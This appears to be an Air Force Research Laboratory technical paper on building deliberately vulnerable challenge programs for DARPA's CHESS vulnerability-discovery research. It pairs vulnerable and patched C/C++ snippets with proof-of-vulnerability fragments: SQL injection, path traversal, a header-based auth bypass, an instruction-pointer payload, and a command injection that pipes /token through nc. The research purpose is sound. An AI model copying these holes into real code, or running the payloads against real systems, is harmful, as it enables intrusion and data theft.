AFRL-RI-RS-TP-2021-001

ACES PHASE I

CROMULENCE, LLC.

MARCH 2021

TECHNICAL PAPER

APPROVED FOR PUBLIC RELEASE; DISTRIBUTION UNLIMITED

STINFO COPY

AIR FORCE RESEARCH LABORATORY
INFORMATION DIRECTORATE

■ **AIR FORCE MATERIEL COMMAND** ■ **UNITED STATES AIR FORCE** ■ **ROME, NY 13441**

NOTICE AND SIGNATURE PAGE

AFRL-RI-RS-TP-2021-001 HAS BEEN REVIEWED AND IS APPROVED FOR PUBLICATION IN ACCORDANCE WITH ASSIGNED DISTRIBUTION STATEMENT.

FOR THE CHIEF ENGINEER:

/ S /	**/ S /**
TODD N. CUSHMAN	JAMES S. PERRETTA
Work Unit Manager	Deputy Chief, Information
	Exploitation & Operations Division
	Information Directorate

REPORT DOCUMENTATION PAGE

Form Approved
OMB No. 0704-0188

1. REPORT DATE *(DD-MM-YYYY)*
MARCH 2021

2. REPORT TYPE
TECHNICAL PAPER

3. DATES COVERED *(From - To)*
JAN 2019 – AUG 2020

4. TITLE AND SUBTITLE
ACES PHASE I

5a. CONTRACT NUMBER
FA8750-19-C-0008

5b. GRANT NUMBER
N/A

5c. PROGRAM ELEMENT NUMBER
62303E

6. AUTHOR(S)
Bryce M. Kerley

5d. PROJECT NUMBER
CHES

5e. TASK NUMBER
S3

5f. WORK UNIT NUMBER
01

7. PERFORMING ORGANIZATION NAME(S) AND ADDRESS(ES)
Cromulence LLC.
705 E. Strawbridge Ave., Suite 101
Melbourne FL 32901

8. PERFORMING ORGANIZATION REPORT NUMBER

9. SPONSORING/MONITORING AGENCY NAME(S) AND ADDRESS(ES

Defense Advanced Research Projects Agency
3701 North Fairfax Drive
Arlington VA 22203-1714

AFRL/RIGA
525 Brooks Road
Rome NY 13441-4505

10. SPONSOR/MONITOR'S ACRONYM(S)
AFRL/RI

11. SPONSOR/MONITOR'S REPORT NUMBER
AFRL-RI-RS-TP-2021-001

12. DISTRIBUTION AVAILABILITY STATEMENT
Approved for Public Release; Distribution Unlimited. DARPA DISTAR CASE # 32474
Date Cleared: 08 APR 2020

13. SUPPLEMENTARY NOTES

14. ABSTRACT

The ACES Phase 1 Report details the development of challenge sets for the Computers and Humans Exploring Software Security (CHESS) program, results from the Phase 1 Evaluations, conclusions reached, and planned future work. The CHESS program aims to develop a system for discovering, proving, and patching vulnerabilities in software using combined human reasoning and computer processing. The ACES (Assorted Challenges for Evaluation and Separation) effort is about designing and developing a corpus of challenge sets to evaluate the CHESS system as a whole and separate approaches based on usefulness.

15. SUBJECT TERMS
Cyber Reasoning Systems; Computers and Humans Exploring Software Security; Automated Evaluation; Proof of Vulnerability

16. SECURITY CLASSIFICATION OF:			**17. LIMITATION OF ABSTRACT**	**18. NUMBER OF PAGES**	**19a. NAME OF RESPONSIBLE PERSON**
					TODD N. CUSHMAN
a. REPORT	**b. ABSTRACT**	**c. THIS PAGE**			**19b. TELEPHONE NUMBER (*Include area code*)**
U	U	U	UU	38	**N/A**

Table of Contents

Summary

The Computers and Humans Exploring Software Security (CHESS) program depends on challenge sets for evaluating a combined computer-human system for identifying vulnerabilities in complex software. The Assorted Challenges for Evaluation and Separation (ACES) effort is responsible for developing those challenge sets.

Phase 1 of the ACES effort focused on building a foundation for future CHESS system development. Under this effort, we created ten example challenge sets for use during Phase 1 CHESS system development, and fifteen evaluation challenge sets to evaluate the CHESS system at the conclusion of Phase 1. As part of the challenge set development, we developed a set of goals and metrics to ensure these challenge sets were fit for purpose, identified existing tools to support these goals, and developed new tools where existing tools fell short.

The evaluation results provide useful insights about how protocol design and familiarity influences the ability of analysts to find software flaws and how unintended flaws manifest. As a result, our Phase 2 goals and constraints are changing to support the continued growth and development of CHESS system capabilities.

Introduction

The goal of the Computers and Humans Exploring Software Security (CHESS) program is to develop computer-human software systems and capabilities to rapidly discover all classes of vulnerabilities in complex software in a scalable, timely, and consistent manner. The goal of the Assorted Challenges for Evaluation and Separation (ACES) part of the program is to research and develop challenge sets (CS) to demonstrate, challenge, and validate the vulnerability discovery and mitigation techniques developed by other participants in the CHESS program.

The Phase 1 goals of the ACES effort were to establish a baseline set of examples for initial CHESS system development and integration, create evaluation challenges to assess the performance of the Phase 1 CHESS system, and ensure that all of these challenges operate as expected.

Much of our understanding and many of our assumptions about software systems and vulnerability comes from the DARPA Cyber Grand Challenge (CGC). CGC was a multi-year program to create a competition for Cyber Reasoning Systems (CRSes) to autonomously discover vulnerabilities in software. While this was an ambitious and successful program, CHESS, and our work on CHESS must advance beyond CGC.

Methods, Assumptions, and Procedures

The CHESS program's high level goal is to develop a computer-human system to discover vulnerabilities in software. The ACES effort's goals for Phase 1 were to develop challenge sets to demonstrate a foundation for growing towards this goal. As such, our efforts focused around developing software with vulnerabilities designed to guide analysis in a useful direction.

Components and Jargon

Our goals during Phase 1 required developing a corpus of challenge sets, and part of this development is the set of components that form a challenge set, and the jargon necessary to document them.

Challenge Sets

Challenge sets are composed of several components:

- *Original source*: the source code for the challenge, including preprocessor blocks where patched and unpatched versions differ.
- *Unpatched source*: the source code for the challenge, with all vulnerabilities. This may be provided to teams testing the CHESS system, and the control team.
- *Patched source*: the source code for the challenge, with no known vulnerabilities. This is used to validate proofs-of-vulnerability, and is not provided to testing teams or the control team.
- *Unpatched binary*: the compiled challenge, with all vulnerabilities. This is provided to testing teams and the control team.
- *Patched binary*: the compiled challenge, with no known vulnerabilities. This is used to validate proofs-of-vulnerability, and is not provided to testing teams or the control team.
- *Poller*: this program validates the operation of the challenge. Pollers are provided to testing teams and the control team. It is expected to validate binary behavior, validate patches, provide base cases for fuzzing[1], and help troubleshoot challenges during development. It is expected to succeed when run with both the unpatched and any successfully-patched binary.
- *Reference proof-of-vulnerability*: this program is an integration test, but for a known vulnerability. It is expected to succeed when run with an unpatched binary, and expected to fail when run with a binary that has that vulnerability patched.

[1] *fuzzing* or *fuzz testing* is documented in the Fuzz Testing section.

Proofs-of-Vulnerability and Patches

Testing teams and control teams prove the discovery of a vulnerability with a "proof-of-vulnerability," ("PoV"), a program that interacts with the challenge to produce an effect that proves existence of a vulnerability.

Testing teams and control teams may also patch software, with the goal of making the corresponding PoV fail, while the poller succeeds.

Effects

Phase 1 challenges can have vulnerabilities proved with one of the following effects:

- *Private address disclosure*: PoV discloses an address inside the challenge's memory space are considered successful.
- *Register control*: PoV crashes the program by setting a register of its choosing to a value of its choosing, and sets the program counter/instruction pointer to a value of its choosing in an invalid region of memory.
- *Structured privileged information disclosure*: PoV is able to read the `/token` file on the challenge's container.
- *Unstructured privileged information disclosure*: PoV is able to read information that is significant for humans.

Weaknesses

The weaknesses in scope for Phase 1 are:

- Memory Corruption: CWE-1218
- Information Disclosure: CWE-200
- Data/Code Injection: CWE-74
- Access Control Errors: CWE-284
- Path Traversal: CWE-22

These weaknesses rougly correspond to their listed Common Weakness Enumeration (CWE) entries. The CWE is a community-developed list of weaknesses, and is frequently added to or otherwise changed.

Constraints and Metrics

Challenge set acceptability was determined using several constraints and metrics.

Phase 1 challenges were developed with a small set of initial constraints: they must be built with C or C++, single-process, single-threaded, and operate using TCP. Challenges may either listen on a TCP port like a standard TCP server, or connect to a specified TCP host and port like a standard TCP client. Additionally, Phase 1 challenges could only use the C standard library, the C++ standard library, and the default runtime libraries available on Ubuntu 18.04. Phase 1 challenges must be compiled with Clang 7 (including both the `clang` and `clang++` compilers).

Our metrics were based around McCabe-style cyclomatic complexity, as measured by the `pmccabe` tool as packaged by Ubuntu. We established our goal with a survey of Cyber Grand Challenge (CGC) challenge sets. CGC challenge sets that had vulnerabilities proved by one or more teams had a McCabe complexity of averaging 430. We required Phase 1 Example challenges to have a complexity score over 400, and Evaluation challenges to have a complexity score over 500.

Tools

The ACES effort in Phase 1 has used a complex set of tools: the normal C and C++ development stack, a custom preprocessor, and other source code analysis tools.

C/C++ Development Stack

At the January 2019 kickoff meeting, we negotiated with the other performers a modern C/C++ development stack:

- Ubuntu 18.04 LTS on x86-64
- Clang 7 (including Clang++)
- `libc6`
- `libstdc++-8`
- GNU Make

In-scope were source files written as part of the program, as well as self-contained source files generated by tools such as `bison` or `flex`.

External libraries were out of scope. Based on feedback from other performers, we eventually removed library internals and intrinsics provided by GCC libraries from scope as well.

ACES Preprocessor (aces_preproc)

ACES Preprocessor (`aces_preproc` or `AcesPreproc`) is a preprocessor for source code developed for the CHESS program. It produces multiple source directories based on patches in-line. It also removes comments from C and C++ source and header files.

Initially, this tool used a patch annotation format distinct from C syntax, but it was quickly changed to C preprocessor `#ifdef`/`#ifndef` blocks to support development workflows without requiring an `aces_preproc` run between editing a file and doing a normal build, as one might do many times an hour.

The annotation format is as such:

```
#ifdef PATCH_LIMIT_BUFFER
        recv(new_client, req.buffer, BUFFER_SIZE, 0);
#else
        recv(new_client, req.buffer, 1024, 0);
#endif
```

It operates against a whole source tree at once:

```
$ bundle exec ./exe/aces_preproc -d examples/example_1/src -b tmp
[…]

$ diff tmp/unpatched/example_1.c tmp/fully_patched/example_1.c
73c73
<              recv(new_client, req.buffer, 1024, 0);
---
>              recv(new_client, req.buffer, BUFFER_SIZE, 0);
```

Fuzz Testing

A considerable amount of contemporary vulnerability discovery research uses “fuzzing” or “fuzz testing.” Fuzzing is a technique that generates inputs for the program under investigation randomly, and monitors the behavior of the program for effects including crashes, incorrect assertions about program state, and unchecked exceptional behavior. Our challenge development efforts used “American Fuzzy Lop” (AFL), which can be seeded with base cases which will be randomly permuted, and can instrument the program to identify which permutations cause the program to behave differently.

AFL allowed us to identify and fix vulnerabilities that could be detected using fuzzing tools. While we do see a place for fuzzing in the greater CHESS program, using fuzzing in isolation is not novel research.

Other Analysis Tools

We used `pmccabe` to analyze the cyclomatic complexity of produced software, and `cloc` to classify and count source code lines. Typical runs of these tools would look like:

```
$ find challenge/src -type f | xargs pmccabe -Tv
Modified McCabe Cyclomatic Complexity
|   Traditional McCabe Cyclomatic Complexity
|       |    # Statements in function
|       |        |   First line of function
|       |        |       |   # lines in function
|       |        |       |       |  filename(definition line number):function
|       |        |       |       |           |
501     509      1438    n/a     3367        Total

$ cloc challenge/src
      72 text files.
      72 unique files.
       2 files ignored.

github.com/AlDanial/cloc v 1.86  T=0.06 s (1125.6 files/s, 52442.3 lines/s)
-----------------------------------------------------------------------------
--
Language                     files          blank        comment           co
de
-----------------------------------------------------------------------------
--
C++                             32            463             14             17
20
C/C++ Header                    39            263             10              8
38
-----------------------------------------------------------------------------
--
SUM:                            71            726             24             25
58
-----------------------------------------------------------------------------
--
```

Challenges

The main drive of the ACES effort was developing challenge sets to demonstrate the discovery of vulnerabilities in software. The following challenge sets are the result of that: software with vulnerabilities.

Challenge development for Phase 1 was done in two groups. Example challenges, and evaluation challenges.

Example Challenges

Example challenges were released to other CHESS performers roughly as they became available. Our goal for example challenges was to establish among other parties in the CHESS program what techniques we'd be using, and to get within an order of magnitude of the complexity to expect from the evaluation challenges.

Adams

Language	C
McCabe Complexity	464
Weakness	Information Disclosure,Buffer Overflow

"Adams" is an SMTP[2] server with basic authentication capabilities. The challenge is protected by ASLR[3] so it requires an address leak along with an overflow.

The address leak happens when `strcat` is used to create the email being sent.

```
#ifdef PATCH
        snprintf(locals.line, 256, "%s%s", locals.d, client_data.mail_from);
#else
        local_strcat( locals.line, locals.d);
        local_strcat( locals.line, client_data.mail_from);
#endif
```

Using the leak, an attacker can overwrite the `authd` flag in the global client connection structure.

The overflow occurs in the `handle_AUTH()` function.

[2] "Simple Mail Transfer Protocol" (SMTP) is a communication standard for sending email. Some email configurations use SMTP to transmit email from the sending user to their provider, and most email providers use SMTP to transmit email from their outboxes to other providers.

[3] "Address Space Layout Randomization" (ASLR) is a security enhancement provided by the operating system that presents a randomly-arranged memory arrangement to programs on every launch. This randomization increases the difficulty of some kinds of memory corruption or information discosure attacks.

```
typedef struct connection_info
{
        int fd;
        int helo_done;
        int mail_from_done;
        int authd;
        char authd_user[32];
        char *clnt_hn;
        char temp_data[256];
        char *clnt_ip;
        char *srv_hn;
        char *mail_from;
        char **rcpt_to;
        int rcpt_to_cnt;
        int rcpt_to_max;
        char * data;
        int data_max_len;
        int data_current_len;

        /// MAIL FROM: 1
        /// SEND FROM: 2
        /// SOML FROM: 3
        /// SAML FROM: 4
        int type;
} coninfo_t, *pconinfo_t;

//...
coninfo_t client_data;
//...
#ifdef PATCH
        memcpy( client_data.authd_user, user, sizeof(client_data.authd_user)
);
#else
        memcpy( client_data.authd_user, user, local_strlen(user));
#endif
```

Once the attacker has overwritten the `authd` value they can then access privileged information via the `EXPN` verb.

Bryant

Language	C
McCabe Complexity	446
Weakness	Data/Code Injection

“Bryant” is a message server using a text-based command-line-style interface, with an internal SQL[4] database. The SQL database stores information about users, messages, and the contents of /token (which is loaded into memory when the challenge binary is started.) While the internal SQL system supports bound parameters to prevent SQL injection (a variant of Data/Code Injection), addressing a message to another user uses asprintf to put the username in a query, allowing injection.

The vulnerable code:

```
#ifndef PATCH_1
  char* q;
  asprintf(&q, "SELECT username FROM users WHERE username = '%s';",
           start_of_second_word);
  lll(q, stderr);
  query_plan* plan = create_query_plan(parse_query(q), db);
  free(q);
  result* got = execute_plan(plan, NULL);
#else
  char* q = "SELECT username FROM users WHERE username = :un;";
  query_plan* plan = create_query_plan(parse_query(q), db);
  kvlist* params = kvlist_set(NULL, "un", start_of_second_word);
  result* got = execute_plan(plan, params);
#endif
```

The proof of vulnerability:

```
bryant_in.puts "SEND #{SecureRandom.alphanumeric}' AND 'abc'='def' UNION SELE
CT * FROM secret; --"
got = bryant_out.expect(":\n").join
md = /enter message to (.+):$/.match got
LLL.info "found secret #{md[1]}"
```

This challenge was provided to performers in April, 2019.

Douglas

Language	C++
McCabe Complexity	501
Weakness	Directory Traversal

“Douglas” is a data structure server, with on-disk persistence and compatibility with existing Redis client libraries. It has a directory traversal vulnerability.

[4] “Structured Query Language” (SQL) is a family of programming languages used to define and manipulate structured data in database systems.

The vulnerable code is substantial. The program handles all resolution of object names to filenames through a single class, which is either a C++ `std::filesystem::path` instance, or a local `Path` class that makes sure the normalized path is inside the parent `/data` directory.

The proof of vulnerability simply requests an object outside the `/data` directory:

```
token = @redis.get "../token"

$stdout.puts "TOKEN=#{token}"
```

This challenge was provided to performers in May, 2019.

Evarts

Language	C
McCabe Complexity	644
Weaknesses	Memory Corruption, Information Disclosure

“Evarts” is a menu-based app implementing a burger construction kit, backed by a custom SQL database of ingredients. It has a memory corruption vulnerability when hashing a SQL statement for an internal cache, and information disclosure vulnerabilities when sending item names and prices with unexpected column types.

Some error-handling code discloses enough information to clients, allowing structural information about the running challenge to leak:

```
appmain_send_to_client("Unexpected type: %d with value ", vname->type);
#ifndef PATCH
  for (size_t j = 0; j < SQL_NUM_ELEMENTS(SQL_VAR_TYPE(data)); j++) {
    appmain_send_to_client("%02X", vname->data[j]);
  }
#endif
```

The internal cache stores processed, ready-to-execute SQL statements. The unpatched version of this cache has a weakness in how it stores a hash of the unprocessed statement for later lookup:

```
while (*next != '\0') {
#ifndef PATCH
  bit = (*next >> 1) ^ (*next >> 2) ^ (*next >> 3) ^ (*next >> 6);
#else
  bit = (*next >> 1) ^ (*next >> 3) ^ (*next >> 7);
#endif
  db->stmt_hash = ((db->stmt_hash >> 4) | (db->stmt_hash << 3)) ^ bit;
  next++;
}
```

Through creating and redefining dozens of burger ingredients, the reference PoV is able to use these vulnerabilities to confuse a `SELECT` and an `INSERT` in the query cache, disclose part of the function pointer for the `do_admin` function, and call that function to get a command shell that is able to read `/token`.

Franklin

Language	C
McCabe Complexity	515
Weakness	Buffer Overflow

Franklin parses provided network packet files. It can take a file name using the `-s` and `-p` command options or it can accept it via a network socket by first sending the 4 byte size of the data followed by the data itself. The max size of a packet file is 1024 bytes.

The vulnerability is in the parsing of the DNS Search List Option of an icmpv6 packet. The difficulty with this vulnerability isn't in its exploitation but rather in the various requirements to reach it

```
#ifdef PATCH
                while ( byte && !i && (j + byte < length)) {
#else
                while ( byte && !i) {
#endif
```

Montague

Language	C++
McCabe Complexity	450
Weakness	Access Control Errors

"Montague" is a todo-list web server, implementing a custom template language ("Montague Template Language," or "MTL") for assembling HTML[5] pages. One of the routes available in the web application is an administrative interface that requires a password. However, the password is checked in the MTL file in a way that assumes the authentication flag to be un-tainted:

```
    {{ if request._montague_authenticated }}
    <h2>welcome to the admin zone</h2>
    <p>
      the token is:
      <span id="token">{{= token }}</span>
    </p>
    {{ else }}
    <form method="post" action="/admin">
      <p>
        <label for="password">password:</label>
```

[5] "HyperText Markup Language" (HTML) is the standard markup language for documents designed to be displayed in a web browser.

```
        <input type="password" name="password" id="password" />
      </p>
      <p>
        <button type="submit">try to log in</button>
      </p>
    </form>
    {{ endif }}

#ifdef PATCH_UNSET_AUTHENTICATED
  req_mebbe->erase("_montague_authenticated");
#endif
```

The proof of vulnerability is able to log in without the password:

```
    resp = client.headers('_montague_authenticated' => 'true').get("/admin")
    assert(200 == resp.status)
    doc = Nokogiri::HTML(resp.body.to_s)
    token = doc.css('#token').text
```

This challenge was provided to performers in October, 2019.

Hamlin

Language	C++
McCabe Complexity	441
Weakness	Information Disclosure

"Hamlin" is a tool to convert images between PPM, PNG, and HRL (a custom run-length encoded format) formats. PNG images use DEFLATE encoding for IDAT (image data) chunks, and DEFLATE encoding uses a history buffer as part of its compression strategies. One of Hamlin's implementations of this buffer tries to compensate for the buffer wrapping around with an incorrect semantic:

```
  for (std::size_t n = 0; n < count; n++) {
    std::ptrdiff_t pos = n + start_cur;
#ifndef PATCH_ARRAYHISTORY_NEGATIVE_IDX
    if (wrapped) {
      pos = pos % buf.size();
    }
#else
    pos = pos % buf.size();
#endif
    byte b = buf[pos];
    append(b);
    cpy.push_back(b);
  }
```

The reference proof-of-vulnerability uses an image that uses this vulnerability to read memory adjacent to the `std::array<byte, 32768>`, which includes an address, demonstrating an Information Disclosure weakness.

This challenge was provided to performers during the July 2019 hackathon.

Irving

Language	C
McCabe Complexity	602
Weakness	Information Disclosure,Access Control Errors

"Irving" acts like a shell when connected to with the ability to manipulate the underlying file system. It expects that a chess user exists and needs to be run as root so that it is able to drop privileges.

There are two vulnerabilities in this challenge. The first is an information leak due to the `cmp` command with the `-b` argument. An attack can check the difference between two files beginning at a specific offset in each one. The challenge does not check for negative indices so an attacker can calculate the offset to the token in memory and then leak it one byte at a time.

```
#ifdef PATCHED_1
    if ( filea_index < 0 || fileb_index < 0 ) {
        return -1;
    }
#endif
```

The second vulnerabilty is an issue between the system calls stat and lstat. The challenge uses `lstat()` to check if a user has permission to edit a file. From the lstat man page:

> lstat() is identical to stat(), except that if *pathname* is a symbolic link, then it returns information about the link itself, not the file that it refers to.

If an attacker creates a symbolic link to the token file an attempts to read the token via the link then the challenge will allow it since the permissions check was on the link and not on the actual token file.

```
#ifdef PATCHED_2
    if ( stat( fn, &st ) ) {
        return 0;
    }
#else
    if ( lstat( fn, &st ) ) {
        return 0;
    }
#endif
```

Jackson

Language	C++
McCabe Complexity	446
Weakness	Data/Code Injection

Jackson is an IRC client capable of basic interactions with an IRC server.

The vulnerability is a command injection when a client is logging their server interactions. An attacker can message another client who has logging turned on with a command embedded in backticks.

```
#ifdef PATCHED
        ofstream logfile;
        logfile.open (chan + ".log", std::ios_base::app);
        logfile << logline << endl;
        logfile.close();
#else
        command = string(getenv("SHELL"));

        if ( chan[0] == '#' ) {
            chan = "\\" + chan;
        }

        arg = "echo \\\"" + logline + "\\\" >> " + chan + ".log";
        string a = "-c";

        string finalcmd = command + " ";
        FILE *f = NULL;

        finalcmd += a + " ";
        finalcmd += "\"";
        finalcmd += arg + "\"";

        //cout << finalcmd << endl;

        f = popen( finalcmd.c_str(), "r");

        fclose(f);
#endif
```

This can be used to send the token file from Jackson to a malicious client on the same server:

```
s.send("PRIVMSG chess : `cat /token | nc localhost 9999`\n")
```

Nevins

Language	C
McCabe Complexity	748
Weakness	Memory Corruption

“Nevins” is a proxy server that accepts incoming HTTP requests and forwards them on the the necessary server.

Nevins allows the creation of filters on both the upstream and the downstream.

The challenge allocates a buffer for HTML comment based on the size of the first comment in the file. If the `comment` pointer is ever `NULL` then it will allocate another buffer. If an attacker requests a page containing an initial HTML comment eventually followed by a larger comment then they are able to cause a heap-based buffer overflow.

With a specific heap layout the attacker can overwrite a pointer with the location of the data from `/token`. No address leak is required since the challenge does not use ASLR for the main binary.

The vulnerable code is not automatically reachable. An attacker must first set a valid filter for the proxy. Otherwise, the proxy will never parse the HTML.

```
#ifdef PATCHED_1
                    free(comment);
                    comment = NULL;
#endif
```

Evaluation Challenges

Evaluation challenges were not released to CHESS performers implementing parts of the CHESS system; they were released to testing teams and the control team during the Phase 1 Evaluation event in August 2020. Our goals for evaluation challenges were: to be able to identify successful strategies for CHESS system components, testing teams, and the control team; and to provide a set of examples for early Phase 2 work for CHESS performers.

Channing

Language	C
McCabe Complexity	515
Weakness	Directory Traversal

"Channing" is an HTTP server with support for HTTP Basic authentication against `.access` files placed in directories of web content, similar to how `.htpasswd` files are used for same with the Apache HTTP Server. It has a fairly standard directory traversal vulnerability.

```
#ifdef PATCHED
        if ( strstr(decodedResourcePath, "..") != 0 ) {

                sendError(s, 404);
                return -1;
        }
#endif
```

This vulnerability is provable as such:

```
REQUEST = 'GET /%2E%2E/%2E%2E/%2E%2E/token HTTP/1.1\r\nHost: {}\r\n\r\n'.form
at(
HOST).encode()

with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as sock:
    sock.connect((HOST, int(PORT)))
    sock.sendall(REQUEST)
    print(sock.recv(1024))
```

This challenge was provided to testing teams as part of the Phase 1 Evaluation in August 2020.

Girard

Language	C++
McCabe Complexity	552
Weakness	Memory Corruption

“Girard” is an implementation of the Haiku Vector Image Format (HVIF). It supports all of the in-use HVIF features, and the poller includes HVIF images that ship with the Haiku operating system.

HVIF defines a `PerspectiveTransformer` feature that is not implemented in the Haiku OS. Girard’s implementation converts the shape’s coordinates to a function pointer and an argument to that function, and calls them:

```
std::vector<unsigned char> *PerspectiveTransformer::toBytes()
{
    auto bytes = new std::vector<unsigned char>();

    bytes->emplace_back(TransformerType::Perspective);
    Transformer::writeValue(*bytes, this->sx);
    Transformer::writeValue(*bytes, this->shy);
    Transformer::writeValue(*bytes, this->w0);
    Transformer::writeValue(*bytes, this->shx);
    Transformer::writeValue(*bytes, this->sy);
    Transformer::writeValue(*bytes, this->w1);
    Transformer::writeValue(*bytes, this->tx);
    Transformer::writeValue(*bytes, this->ty);
    Transformer::writeValue(*bytes, this->w2);

#ifdef PATCHED
#else
    unsigned long long data =
      *reinterpret_cast<unsigned long long *>(bytes->data() + 8);
    ((void (*)(unsigned long long))(data))
      (*reinterpret_cast<unsigned long long *>(bytes->data() + 16));
#endif

    return bytes;
}
```

The reference PoV creates a simple image, and adds a perspective transform to a shape:

```
# add a perspective transformer to the shape
xformer = "\x16\x00\x00\x00\x00\x00\x00\x00\x1e\xab\x11\xca\x00\x00\x00\x00\x
e5\x55\xce\xac\x7e\x1e\x50\x0b\x00\x00\x00\x00".force_encoding("BINARY")
socket.write("\x97#{[xformer.length + 2].pack("s<")}\x00\x00".force_encoding(
"BINARY") + xformer)
socket.read(1)  # success response

# transform the server's perspective
socket.write("\x95\x00\x00")
LOGGER.info("if not patched, we should have segfaulted with our data now")
puts "REGISTER_RIP=#{xformer[8..15].unpack("Q<")[0].to_s(16)}"
puts "REGISTER_RDI=#{xformer[16..23].unpack("Q<")[0].to_s(16)}"
```

The expected patch is to remove the `PerspectiveTransformer` that is never called by the poller, or at least the function call that cannot be used productively.

Kane

Language	C
McCabe Complexity	572
Weakness	Access Control Errors

"Kane" is an HTTP[6] server that implements a wiki. An admin interface is available in the app, where you can create, edit, and delete files and users. Access to this admin console should require a password.

Kane makes a distinction between admin users, regular users, and anonymous users. When trying to connect to the admin console, you need to either validate with admin credentials, or you can use the cookie that is assigned to this role. These cookies are generated after a single request is attempted.

Kane has a weakness that allows admin console access without credentials. Due to an off-by-one when copying data into a static buffer, you are able to overwrite the role number, which determines which cookie will be sent back to the user in a response. With this value, you are able to get back a cookie that will recognize you as an admin level user, without admin credentials.

The patch for this prevents overwriting the role number in the roles table:

```
#ifndef PATCH
    int i = 0;
    for(i = 0; i <= strlen(ANON); ++i){
```

[6] "HyperText Transfer Protocol" (HTTP) is the protocol used by web web browsers and other software on the web. An HTTP server is a software package (or a computer running a software package) that makes a web site or web application available.

```
        rtable->entries[0].name[i] = header.value[i];
    }

#else
    int i = 0;
    for(i = 0; i < 10; ++i){
        rtable->entries[0].name[i] = header.value[i];
    }
#endif
```

Livingston

Language	C++
McCabe Complexity	614
Weakness	Memory Corruption

“Livingston” is a music synthesizer. It has a login system in the connection state machine, which has a weakness that allows a connected client to overwrite another client’s login information:

```
#ifdef PATCH
void StateMachine::setLogin(uint8_t loginType, int clientID)
#else
void StateMachine::setLogin(uint16_t loginType, int clientID)
#endif
{
    MEMFLASH( this->logins + clientID,
              this->logins + MAX_LOGINS,
              (uint8_t *) &loginType,
              sizeof(loginType));
}
```

The PoV makes two simultaneous connections, `sock1` and `sock2`, and once `sock1` requests a login, `sock2` is able to receive the token.

Ovington

Language	C++
McCabe Complexity	511
Weakness	Information Disclosure

“Ovington” is a database with a LISP[7]-based query language, a special binary data load protocol, and on-disk storage. As part of the development and debugging features of the LISP, two information disclosure vulnerabilities are present.

[7] LISP is a family of programming languages based on ressearch into a mathematical notation for computer programs in the 1950s. LISP is an influence on many contemporary

The first vulnerability is a poorly-considered ability to cast a NativeLambda (a LISP function implemented with a C++ function; basically a cross-language function pointer) to a float. This functionality is never called by the poller, and it's backstopped by an error-raising function in a parent class, so the expected patch is to remove this function.

```
#ifndef PATCH_DISABLE_NL_CAST_TO_FLOAT
float64_t NativeLambda::cast_float() const
{
    return *(float64_t*)(void*)target<ValuePtr(*)(ValuePtr)>();
}
#endif
```

This vulnerability is demonstrated by adding a NativeLambda to a floating-point number, and treating the result as an address:

```
got = evaluate ["+".k, 0.0, "+".k]
unless got.is_a? Integer
  LLL.fatal "Expected address, got #{got.inspect}"
  exit -1
end
$stdout.puts "ADDRESS=#{got.to_s(16)}"
```

The second vulnerability directly leaks the function pointer from a NativeLambda in the output of the inspect function. It can be patched without becoming useless by masking the address to its lower 16 bits:

```
std::string NativeLambda::inspect() const {
  std::stringstream dest;
#ifndef PATCH_MASK_NL_INSPECT
  dest << "NativeLambda(" << std::hex << (void*)target<ValuePtr(*)(ValuePtr)>
();
#else
  dest << "NativeLambda(" << std::hex <<
    (void*)(0xFFFF & (uint64_t)(void*)target<ValuePtr(*)(ValuePtr)>());
#endif
  dest << ")";
  return dest.str();
}
```

Demonstrating this vulnerability is done by calling the inspect function with a NativeLambda function as an argument:

```
got = evaluate ["inspect".k,  "+".k]
unless md = /\(0x(\w+)\)/.match(got)
  LLL.fatal "Expected address, got #{got.inspect}"
  exit -1
```

programming languages, and many LISP dialects continue to be used in academia and industry.

```
end
$stdout.puts "ADDRESS=#{md[1]}"
```

Pierrepont

Language	C
McCabe Complexity	685
Weakness	Memory Corruption

"Pierrepont" is a command line interface that allows a user to perform various matrix calculations similar to the open source project Octave. Among its functionality is the function `%reshape()`, for reshaping a matrix into a freshly-allocated matrix. The vulnerable reshape function does not confirm that the new matrix has enough elements after the allocation to not overflow.

The vulnerable `for` loop calculates the number of iterations based upon the matrix being resized:

```
for ( int i = 0; i < A->rows * A->columns; i++ ) {
```

However, the patch calculates the iterations based upon the destination size:

```
for ( int i = 0; i < (Crow * Ccol); i++ ) {
```

Quincy

Language	C++
McCabe Complexity	18070
Weakness	Information Disclosure

"Quincy" is a rudimentary web browser; it pretty-prints HTML it fetches over HTTP. Pollers and proofs-of-vulnerability need to run HTTP servers to interact with this challenge. It has a weakness when parsing malformed HTML: an incorrectly terminated attribute value will disclose the contents of adjacent memory:

```
parsed correctly: <br data-asdf="qqqq" data-ink='emerald of chivor'>
parsed incorrectly: <marquee class='heyyyyyyyyyyyyy>let's go</marquee>
```

The reference patch bounds-checks while looking for the closing quote:

```
  while (quot != base[scan]) {
    scan++;
#ifdef PATCH_STOP_PAST_END_OF_ATTRS
    if (scan > end_of_attrs) {
      valid = false;
      return;
    }
#endif
  }
```

Remsen

Language	C++
McCabe Complexity	651
Weakness	Access Control Errors

“Remsen” is an FTP server that allows a user to interact with a file system to create, modify, delete etc. files.

To access the admin directory you must be logged in as `admin`. However you cannot log in as `admin` unless you are a local user i.e. your source IP is `127.0.0.1`.

FTP has the ability to set the `PORT` to which the server will connect and send requested files. The first step is to retrieve the password file `plist` so that a user can leak the admin password. With the admin password an attacker can put a file as the user guest containing FTP login and `RETR` commands.

When the attacker requests to retrieve the file containing the FTP commands they tell the server to connect to its own listening port and send it there. Since this connection will be coming from 127.0.0.1 it is considered local and the admin login will succeed. In addition to logging in, the attack can request the `/token` file and send it back to a listening port.

The patch just removes the local flag.

```
#ifdef PATCHED
#else
else {
    this->islocal = 1;
}
#endif
```

Smith

Language	C++
McCabe Complexity	574
Weakness	Memory Corruption

“Smith” implements an IRC server capable of serving multiple clients.

The PoV connects with 15 users which is the maximum users that can join a single channel, and each username is given the maximum length of 30 characters. The first user joins a channel with a name of 50 characters and becomes the operator. The operator then sets the channel to moderated and gives everyone voice. The operator also gives operator status to everyone in the channel. This overflows the response buffer when sending the `NAMES` request, allowing the PoV to overwrite RBP and the saved RIP. On a return from the `HandleNAMES` function the challenge crashes:

```
Program received signal SIGSEGV, Segmentation fault.
0x0000558440f45ac6 in Server::HandleNAMES (
    this=<error reading variable: Cannot access memory at address 0x6f6f6f6f6
f6f6f67>)
    at src/irc_handles.cpp:1302
warning: Source file is more recent than executable.
1302    }
(gdb) i r $pc
pc             0x558440f45ac6   0x558440f45ac6 <Server::HandleNAMES()+4694>
